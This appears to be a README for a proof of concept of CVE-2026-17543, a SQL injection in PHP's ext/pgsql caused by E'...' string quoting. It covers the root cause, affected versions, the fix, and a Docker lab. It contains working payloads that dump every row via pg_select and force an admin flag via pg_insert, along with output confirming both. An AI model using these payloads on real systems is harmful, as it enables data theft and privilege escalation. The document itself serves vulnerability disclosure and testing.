
PoC exploit for CVE-2026-17543: SQL injection in PHP ext/pgsql via backslash breakout, with data exfiltration and admin privilege-escalation payloads for PostgreSQL.
ext/pgsql via E'...' Backslash BreakoutProof of concept for CVE-2026-17543 (CVSS 9.8 Critical, CWE-89), a SQL injection vulnerability in PHP's procedural PostgreSQL extension.
pg_insert(), pg_select(), pg_update(), pg_delete(), and pg_convert() all
route string values through php_pgsql_convert(), which:
PQescapeStringConn() — which, under
standard_conforming_strings = on (the PostgreSQL default since 9.1), doubles
' into '' and leaves \ untouched (correct for a standard '...' literal).php_pgsql_add_quotes() in an escape-string
constant E'...' instead of a plain '...'.Inside E'...', the backslash is an escape character, so a \ placed before a
quote defeats the quote-doubling: \' becomes one literal ', and the second
quote — placed there by the escaper to be a doubled literal — now terminates the
string early. Everything after is raw, injected SQL.
The official fix (commit ab048bd83b57)
is one character: emit '...' instead of E'...'.
| Branch | Vulnerable | Fixed |
|---|---|---|
| PHP 8.2 | < 8.2.33 | 8.2.33 |
| PHP 8.3 | < 8.3.33 | 8.3.33 |
| PHP 8.4 | < 8.4.24 | 8.4.24 |
| PHP 8.5 | < 8.5.9 | 8.5.9 |
Not affected: pg_query_params() (real parameter binding) and PDO_PGSQL
prepared statements / PDO::quote() — these use distinct code paths that never call
php_pgsql_add_quotes().
zzz\' OR 1=1 --
(one backslash immediately before the single quote)
... WHERE "name"=E'zzz\'' OR 1=1 --' → OR 1=1 is
parsed as SQL → returns every row.... WHERE "name"='zzz\'' OR 1=1 --' → the backslash is
ordinary, so OR 1=1 -- is swallowed inside the string literal → matches nothing.A second payload (eve\', true) --) demonstrates privilege escalation through
pg_insert(), forcing an admin column to true.
| File | Description |
|---|---|
poc.php | Demonstrates both the pg_select data-exfiltration and pg_insert privilege-escalation variants; prints the generated SQL so the E'...' token is visible |
Dockerfile | Pins a vulnerable PHP CLI image (php:8.4.23-cli) with ext/pgsql |
docker-compose.yml | Spins up PostgreSQL 16 + the vulnerable PHP container and runs poc.php |
docker compose up --build --abort-on-container-exit
PHP version: 8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------
[1] pg_select() data exfiltration
payload (runtime): zzz\' OR 1=1 --
generated SQL:
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
rows returned: 2
[!] INJECTION - leaked every row in the table
[2] pg_insert() privilege escalation
name payload (runtime): eve\', true) --
generated SQL:
INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
inserted row admin flag: 't'
[!] INJECTION - admin column forced to TRUE
Done.
On a patched build the generated SQL contains '...' (no E), [1] reports
rows returned: 0 / no injection, and [2] reports admin flag: 'f'.
Point PGCONN at any PostgreSQL and run with a vulnerable PHP:
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php
ext/pgsql
(--with-pgsql / the pgsql extension).standard_conforming_strings = on).docker compose down -v
The PHP image used here is, by definition, unpatched for CVE-2026-17543. Run it only
in an isolated, throwaway container, and docker compose down -v when finished. Never
point this PoC at a database you care about.